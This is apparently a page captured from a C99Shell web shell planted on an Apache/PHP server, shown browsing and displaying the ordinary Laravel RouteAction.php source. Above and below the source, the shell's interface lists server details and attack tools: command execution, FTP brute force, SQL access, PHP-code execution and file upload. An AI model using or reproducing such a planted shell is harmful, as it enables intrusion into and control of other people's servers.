!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/vendor/laravel/framework/src/Illuminate/Routing/   drwxrwxr-x
Free 13.26 GB of 57.97 GB (22.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RouteAction.php (3.31 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Routing;

use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Reflector;
use 
Illuminate\Support\Str;
use 
LogicException;
use 
UnexpectedValueException;

class 
RouteAction
{
    
/**
     * Parse the given action into an array.
     *
     * @param  string  $uri
     * @param  mixed  $action
     * @return array
     */
    
public static function parse($uri$action)
    {
        
// If no action is passed in right away, we assume the user will make use of
        // fluent routing. In that case, we set a default closure, to be executed
        // if the user never explicitly sets an action to handle the given uri.
        
if (is_null($action)) {
            return static::
missingAction($uri);
        }

        
// If the action is already a Closure instance, we will just set that instance
        // as the "uses" property, because there is nothing else we need to do when
        // it is available. Otherwise we will need to find it in the action list.
        
if (Reflector::isCallable($actiontrue)) {
            return ! 
is_array($action) ? ['uses' => $action] : [
                
'uses' => $action[0].'@'.$action[1],
                
'controller' => $action[0].'@'.$action[1],
            ];
        }

        
// If no "uses" property has been set, we will dig through the array to find a
        // Closure instance within this list. We will set the first Closure we come
        // across into the "uses" property that will get fired off by this route.
        
elseif (! isset($action['uses'])) {
            
$action['uses'] = static::findCallable($action);
        }

        if (! static::
containsSerializedClosure($action) && is_string($action['uses']) && ! str_contains($action['uses'], '@')) {
            
$action['uses'] = static::makeInvokable($action['uses']);
        }

        return 
$action;
    }

    
/**
     * Get an action for a route that has no action.
     *
     * @param  string  $uri
     * @return array
     *
     * @throws \LogicException
     */
    
protected static function missingAction($uri)
    {
        return [
'uses' => function () use ($uri) {
            throw new 
LogicException("Route for [{$uri}] has no action.");
        }];
    }

    
/**
     * Find the callable in an action array.
     *
     * @param  array  $action
     * @return callable
     */
    
protected static function findCallable(array $action)
    {
        return 
Arr::first($action, function ($value$key) {
            return 
Reflector::isCallable($value) && is_numeric($key);
        });
    }

    
/**
     * Make an action for an invokable controller.
     *
     * @param  string  $action
     * @return string
     *
     * @throws \UnexpectedValueException
     */
    
protected static function makeInvokable($action)
    {
        if (! 
method_exists($action'__invoke')) {
            throw new 
UnexpectedValueException("Invalid route action: [{$action}].");
        }

        return 
$action.'@__invoke';
    }

    
/**
     * Determine if the given array actions contain a serialized Closure.
     *
     * @param  array  $action
     * @return bool
     */
    
public static function containsSerializedClosure(array $action)
    {
        return 
is_string($action['uses']) && Str::startsWith($action['uses'], [
            
'O:47:"Laravel\\SerializableClosure\\SerializableClosure',
        ]) !== 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--